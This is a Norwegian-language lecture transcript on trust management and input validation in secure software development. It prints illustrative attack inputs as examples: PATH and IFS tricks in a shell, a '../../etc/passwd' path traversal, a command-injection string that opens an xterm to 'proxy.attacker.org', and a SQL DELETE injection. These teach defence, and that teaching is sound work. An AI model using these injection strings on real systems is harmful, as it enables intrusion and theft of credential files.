Tillitsforvaltning og inndatavalidering

Like dokumenter
Overflows. Building Secure Software. Inf 329, Høst Chapter 7. Lars Skjærven

User Input / Output Handling. Innocent Code kap 3-4 INF-329 Øystein Lervik Larsen oysteinl@ii.uib.no 7/11-05

INF329,HØST

Oblig 5 Webutvikling. Av Thomas Gitlevaag

Sikkerhet og tilgangskontroll i RDBMS-er

For å sjekke at Python virker som det skal begynner vi med å lage et kjempeenkelt program. Vi vil bare skrive en enkel hilsen på skjermen.

Læringsmål og pensum. v=nkiu9yen5nc

Operativsystemer og grensesnitt

Sikkerhet i Pindena Påmeldingssystem

JSP - 2. Fra sist. Hvordan fungerer web? Tjenerside script HTML. Installasjon av Web-tjener Et enkelt JSP-script. Ønsker dynamiske nettsider:

som blanker skjermen (clear screen). Du får en oversikt over alle kommandoene ved å skrive,

TDT4110 Informasjonsteknologi grunnkurs: Kapittel 1 Introduksjon til Programmering og Python. Professor Alf Inge Wang

PXT: Hermegåsa. Introduksjon. Skrevet av: Felix Bjerke og Tjerand Silde

Her skal du lære å programmere micro:biten slik at du kan spille stein, saks, papir med den eller mot den.

oppgavesett 4 INF1060 H15 Øystein Dale Hans Petter Taugbøl Kragset September 22, 2015 Institutt for informatikk, UiO

GJENNOMGANG UKESOPPGAVER 9 TESTING

Eksamen i Internetteknologi Fagkode: IVA1379

Erlend Oftedal. Risiko og sikkerhet i IKT-systemer, Tekna

PXT: Hermegåsa. Steg 1: Sjekk at du har riktig utstyr. Sjekkliste. Introduksjon

Introduksjon til programmering og programmeringsspråk

Oversikt. Beskrivelse Bash. 1 UNIX shell. 2 Kommandolinje som brukergrensesnitt. 3 Input og output. 4 Bash builtins. 5 Linux utilities.

Sikkerhet i Pindena Påmeldingssystem

Introduksjon til Jupyter Notebook

Definisjon av prosess

Kom i gang med programmering i Java

Sikkerhet og internett

Innføring i bruk av CGI4VB

2 Om statiske variable/konstanter og statiske metoder.

Agenda. Data og grenser Kontekster XSS XSS og kompliserende kontekster Injection attacks Beskyttelse OWASP

TDT4110 Informasjonsteknologi grunnkurs: Kapittel 7 Filer og unntak ( exceptions ) Professor Alf Inge Wang Stipendiat Lars Bungum

Kurset består av to relativt uavhengige deler. Foreleser: Hårek Haugerud, rom PS431

Steg 1: Regneoperasjoner på en klokke

Veileder for innsendingssystemet IPIS. Versjon 1.9/ /TJ. Helsedirektoratet

2 Om statiske variable/konstanter og statiske metoder.

P L A N I A 8 S Y S T E M K R A V PLANIA 8 SYSTEM KRAV. Plania 8 Systemkrav.docx av 8

Introduksjon til programmering og programmeringsspråk. Henrik Lieng Høgskolen i Oslo og Akershus

Oblig 5 Webutvikling

Kom i gang med Python

Innføring i bruk av CGI4VB

Oppgave 1 - Linux kommandolinje (%)

Oversikt. Informatikk. INF1000: Grunnkurs i objektorientert programmering. Utenom INF1000 Informasjon & hjelp

Denne oppgaven innfører funksjoner, og viser hvordan vi kan skrive og teste funksjoner i Ellie.

Fjerninnlogging over Internett

Forord. Brukerveiledning

PGZ - Hangman Ekspert Python Lærerveiledning

EKSAMEN DATABASER OG WEB Et maskinskrevet notat på maksimalt 2 A4-sider, satt med enkel linjeavstand og skriftstørrelse 12 (eller større).

PowerOffice Server Service

Hvordan få tak i din produktnøkkel for Windows

TDT4110 Informasjonsteknologi, grunnkurs Uke 35 Introduksjon til programmering i Python

Kan micro:biten vår brukes som en terning? Ja, det er faktisk ganske enkelt!

Om du allerede kjenner Scratch og har en Scratchbruker kan du gå videre til Steg 1.

TDT4102 Prosedyre og Objektorientert programmering Vår 2015

Metoder med parametre, løkker og arrayer

Sikkerhet og internett. Kan vi være vi trygge? Kan vi beskytte oss? Bør vi slå av nettet

Sikkerhetsbulletin XRX fra Xerox

Inf109 Programmering for realister Uke 5. I denne leksjonen skal vi se på hvordan vi kan lage våre egne vinduer og hvordan vi bruker disse.

Brukermanual for Quizbuilder

Kom i gang med Stata for Windows på UiO - hurtigstart for begynnere

Debugging. Tore Berg Hansen, TISIP

Sikkerhet: Virus Sikkerhet i operativsystemet Maskinstøtte for sikkerhet Trojanske hester Ormer. IN 147 Program og maskinvare.

Testrapport. Aker Surveillance. Gruppe 26. Hovedprosjekt ved Høgskolen i Oslo og Akershus. Oslo, Public 2013 Aker Solutions Page 1 of 5

Kapittel 1. Datamaskiner og programmeringsspråk. 1.1 Programmering

Mattespill Nybegynner Python PDF

1. Å lage programmer i C++

Steg 1: Hente grafikk fra nettet

Kjøre Wordpress på OSX

Produksjonssettingsrapport

Matematikk Øvingsoppgaver i numerikk leksjon 4 m-ler

Filterprogrammer og redirigering av I/O

1. Profiler og variabler

Håndtering av filer og kataloger

1. Å lage programmer i C++

MAT-INF 1100: Obligatorisk oppgave 1

Installere JBuilder Foundation i Windows XP

"Hjerneteppe!" er en huskelek hvor du skal huske stadig lengre rekker med bokstaver!

TDT4102 Prosedyreog objektorientert programmering Vår 2016

Det du skal gjøre i denne oppgava er først å sette opp bakgrunnen til spillet og så rett og slett å få firkanter til å falle over skjermen.

OPPGAVE 1 OBLIGATORISKE OPPGAVER (OBLIG 1) (1) Uten å selv implementere og kjøre koden under, hva skriver koden ut til konsollen?

Hash-funksjoner. Introduksjon. Steg 1: Strekkoder. Eksempel. Skrevet av: Martin Strand

Innhold. Kom i gang med IRiR. 1 Installer R & RStudio. 2 Last ned siste versjon av IRiR-skriptet

HØGSKOLEN I SØR-TRØNDELAG

Objective-C. Shermila Thillaiampalam

Tre på rad mot datamaskinen. Steg 1: Vi fortsetter fra forrige gang. Sjekkliste. Introduksjon

Web fundamentals. Web design. Frontend vs. Backend Webdesign 17. januar Monica Strand

VEDLEGG 1 KRAVSPESIFIKASJON

Velkomment til å installere BAS21

Programmering i C++ Løsningsforslag Eksamen høsten 2005

Tetris. Introduksjon. Skrevet av: Kine Gjerstad Eide. Lag starten på ditt eget tetris spill!

Phone Assistant. Arne-Jørgen Auberg

Generiske mekanismer i statisk typede programmeringsspråk

Tre på rad mot datamaskinen. Steg 1: Vi fortsetter fra forrige gang

Bruk av NetBeans i JSP-delen av Web-applikasjoner med JSP og JSF

Forkurs i informatikk Python. Andreas Færøvig Olsen

Innholdsfortegnelse. 1. Testing Feiltesting av koden Funksjonstesting: Kilder.10

Client-side Security

Hangman. Steg 1: Velg et ord. Steg 2: Gjett en bokstav. Sjekkliste. Sjekkliste. Introduksjon

oppgavesett 4 INF1060 H16 Hans Petter Taugbøl Kragset Øystein Dale Christian Resell 27. september 2016 Institutt for informatikk, UiO

King Kong Erfaren Scratch PDF

Oversikt over flervalgstester på Ifi

Transkript:

Tillitsforvaltning og inndatavalidering Building Secure Software Kap. 12: Trust Management and Input Validation Håkon Velde hakonv@ii.uib.no 12. oktober 2005 INF329: Utvikling av sikre applikasjoner

Innledning Problemer innen programvaresikkerhet Mennesker gjør ofte dårlige antagelser angående hvem og hva de kan stole på. Utviklere er ofte ikke klar over når de tar avgjørelser angående tillit. Fører til kode som tilsynelatende er korrekt, men ikke er det. Eks.: Viktige hemmeligheter gjemt i binærfiler. Fornuftig sikkerhetspraksis Som standard er alt usikkert/ikke til å stole på Yt tillit kun når det er nødvendig 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 2

Litt om tillit Eksempler på: Oversikt Sikkerhetssårbarheter som egentlig grunner i malplassert tillit. Problemet med at programmerere ofte ikke klar over et potensielt problem. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 3

Litt om tillit Et tillitsforhold er en relasjon som involverer flere instanser, der hver instans stoler på at de andre har eller ikke har diverse egenskaper. Programvareutviklere har tillitsforhold i løpet av hver fase i utviklingen. Mange bedrifter stoler på at de ansatte ikke vil angripe bedriftens informasjonsystem. Stoler også stort sett på programvare-utviklerne sine. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 4

Systemdesignere må takle tillitsspørsmål gjennom hele utviklingsprossen til et program. Ofte gjør designere avgjørelser uten å innse at tillit faktisk er et spørsmål. Utviklere gjør noen ganger lignende avgjørelser, f.eks: Antar at inndata til programmet har et spesielt format og/eller lengde. Viktig å se på tillit ikke bare i enkeltkomponenter, men også i systemet som en helhet. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 5

Det er lett å feilvurdere påliteligheten til en komponent. Klassisk eksempel: Det er mulig å lage en kompilator som inneholder en Trojansk hest, der den Trojanske hesten ville eksistere og vedvare, selv om den ikke er synlig i kildekoden. Dette gjelder også om du kompilerer kompilatoren fra kildekoden. Ken Thompson 1984 Ikke trygt å anta at alle som utgir programvare har kun ærlige hensikter. Enhver form for tillit du gir til programvare du ikke har lagd selv utgjør et sprang av tro. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 6

Eksempler på malplassert tillit Hvert av disse eksemplene har skjedd mange ganger i den virkelige verden. Mange av disse eksemplene er tilfeller av underforstått tillit. Første eksempel (fra tidlig 90-tall): UNIX-system bare ment å brukes til e-post og et par andre funksjoner. TELNET menysystem etter innlogging Lese e-post: Menysystem kalte et mye brukt UNIX e-postprogram E-postprogrammet kalte igjen vi vi kan kalle vilkårlige skall-kommandoer, og det var dermed lett å kople ut menysystemet. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 7

Eksempel forts. Ingenting galt med menysystemet i seg selv, bortsett fra at det stolte på e-postprogrammet som igjen stolte på vi. Hvert program som ble kalt, kjørte med samme rettigheter som brukeren. Før et program blir kalt må du bestemme deg for hva dette programmet skal ha tilgang til. Ingen rettigheter, kjør som bruker «nobody» Har kildekode, gjør dette umiddelbart ved inngang: Sett eier til «nobody» Gjør programmet setuid og setgid Ellers, kall et «setuid wrapper» program. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 8

Beskyttelse mot fiendtlige kall Du må alltid være bekymret over inndata fra nettverket. Hvis en angriper kan manipulere programmet ditt, kan han bruke dette for å få ikke-godkjent tilgang på maskinen din. Trenger ofte ikke tenke på dette med lokale brukere. Eks.: En person utnytter et «buffer overflow» i et program vi har lagd, som ikke er setuid/setgid. Ikke mulig å få ekstra rettigheter (programmet kjører som brukeren som utfører angrepet). 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 9

Har flere ting å tenke på når vi skal beskytte mot mennesker som har maskin-nivå tilgang til å kjøre vårt setuid eller setgid program: Tabellen med argumenter som blir sendt til programmet vårt. «File descriptors» «Core dumps» Spesielt viktig å tenke på hvis programmet ditt noen gang inneholder sensitive data. Eksempelkode (C/C++) for å forby dette på neste side. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 10

Kaller getrlimit for å få nåværende verdier. Forandrer disse verdiene. Kaller setrlimit for sette verdien. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 11

Inndata sendt via miljøvariabler kan skape ekle problemer. Hvis en angriper kaller programmet ditt, trenger ikke disse verdien være fornuftige i det hele tatt. Gå alltid ut fra at enhver miljøvariabel du har bruk for kan være forandret på en ondsinnet måte. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 12

Hvis vi ikke bruker dem, kan vi kvitte oss med alle sammen: Men dette kan også skaffe oss problemer: Fungerer ikke for programmer som kaller biblioteker som er avhengig av en miljøvariabel. For setuidprogrammer kan en angriper få sine egne biblioteker lastet ved å kopiere de til /tmp/attack og sette LD_LIBRARY_PATH til /tmp/attack Må være på vakt for lignede problemer på Windows maskiner ved lasting av DLL-filer. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 13

Ethvert program eller bibliotek kan misbruke en miljøvariabel. Hvis du ikke vet om biblioteket gjør skikkelige sjekker mot miljøvariablene, bør du enten: Utføre disse sjekkene selv Sette variabelen(e) til en kjent trygg verdi Fjerne variabelen(e) helt To variabler som ofte er brukt i angrep er PATH og IFS. Viktig å ikke ha "." i PATH, spesielt i begynnelsen, siden en angriper kan plassere erstatningskommandoer der. Passe på at IFS blir satt til " \t\n" for å sørge for at argumenter til kommandoer blir lest rett. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 14

Hvordan disse variablene kan settes varierer veldig fra språk til språk. Eksempler: Python: C: Neste side... 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 15

12. oktober 2005 INF329: Utvikling av sikre applikasjoner 16

Trygg kalling av andre program Eksempel: Et setuid program kaller en funksjon: system("ls"); Dette C-kallet kaller et skall og sender med programmets miljø. Hvis du tillater en angriper å sette PATH variabelen vilkårlig, kan kallet ovenfor angripes på denne måten: $ export PATH="." $ cp evil_binary l $ export IFS="s" Kjører programmet 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 17

Mulig løsning kunne vært: system("ifs=' \n\t'; PATH='/usr/bin:/bin';export IFS PATH; ls"); Vil ikke fungere. Angriper kan gjøre følgende: $ export PATH="." $ export IFS="IP \n\t" $./your_program Annet eksempel: CGI-skript i Perl Ønsker å skrive ut innholdet av /var/stats/username Bruker flerargumentversjonen av system() for å "cat"e filen: system("cat", "/var/stats/$username"); Ikke sikkert dette heller. Eks. Neste side 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 18

Angriper kan sende inn dette som et brukernavn:../../etc/passwd Enda et eksempel med CGI-skript: Ser "uskyldig" ut, men kan utnyttes pga kallet til system()... 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 19

Angriper kan sende inn denne strengen: "attacker@hotmail.com < /etc/passwd; export DISPLAY=proxy.attacker.org:0; /usr/x11r6/bin/xterm&; #" Vil på mange systemer gi angriperen en xterm Mulig løsning på forrige eksempel og lignende problemer, er å kun tillate et begrenset sett med tegn i inndata. Eks.: Inndata skal være e-post adresse: Sjekk at vært tegn er enten en bokstav, tall, ".", @ eller _ Unngå bruk av alt som kaller et skall. Bruk f.eks. execve() istedenfor system() 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 20

Problemer fra Internett Ikke anta at angripere ikke kan kopiere og endre en webside selv om den er statisk. Eks. Noen utviklere vil ikke bekymre seg over det tidligere CGI-skriptet hvis blir kalt fra dette skjemaet: Problem: Siden kan kopieres til annen server og endres. Vanlig løsning: Sjekke den henvisende siden. Dette kan også trikses med. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 21

Webutviklere liker også ofte å bruke JavaScript for å validere data i skjemaer: Ikke god ide, siden JavaScript kan ignoreres. Mao.: Ikke bruk JavaScript som et sikkerhetstiltak. Cookies: Ofte viktig informasjon lagret i disse. Lett å endre/få tak i informasjon. Litt verre hvis de er midlertidige. Krypter data du ikke vil at folk skal se. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 22

Andre ting å passe på: I blogger, forum e.l.: Ikke tillatt <scrpt> tags, eller annet som kan få vilkårlig og muligens farlig kode til å kjøre på klientmaskin. Encoded URL's: Bruker alternative kodesett Unngå dette ved å eksplisitt sette kodesettet på alle utgående dokumenter. Eks.: <meta http-equiv="content-type" content='text/html; charset="utf-8"' /> Inndata som inneholder %. Dette er som regel spesiell hexadesimal koding for tegn. %3C er f.eks. < Kan brukes for sende kodet null (%00), nylinje (%0A), eller alt annet angriperen har lyst til. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 23

Hvis ønsker å skrive ut tekst, men ikke er sikker på om den er trygg: Kod tegnene ved å bruke &# etterfulgt av tall som beskriver posisjonen i tegnsettet. Avslutt med ; < er < i ISO-8859-1. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 24

Klientside sikkerhet Prøv unngå å lagre SQL-kode i klartekst i klientapplikasjonen. Koden kan bli byttet ut av en lur angriper. Valider inndata som skal inn i en database. Tillates tilfeldige tegn, pass å ha ' rundt "skumle" tegn for hindre "SQL-injection". Eks. Sender inn et enkelt ' etterfulgt av ;DELETE FROM TABLE... 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 25

Angrep ved formatering av streng Vanlig problem som har vært til stede i årevis, men ikke funnet før i 2000. Programmere gir noen ganger upålitelige bruker tilgang til manipulere strengformat i printfunskjoner (fprint o.l). Eks.: Burde ha skrevet: fprintf(sock, "%s", username); Skriver i stedet: fprintf(sock, username); Kan faktisk brukes til å skrive data til stack, ikke bare lese, eller krasje programmet. Mao. Ikke lurt å la upålitelig inndata kunne formatere en streng. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 26

Automatisk se etter imput-problemer Mulighet for dette i enkelte språk: Perl har et spesiell sikkerhetsmodus, taint mode. Når denne modusen er på vil Perl gi feilmeldinger når den finner kode som potensielt kan være farlig. Mange kommander Perl anser som farlig i denne modusen. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 27

Konklusjon Vær sparsom med å dele ut tillit. Anta ingenting. 12. oktober 2005 INF329: Utvikling av sikre applikasjoner 28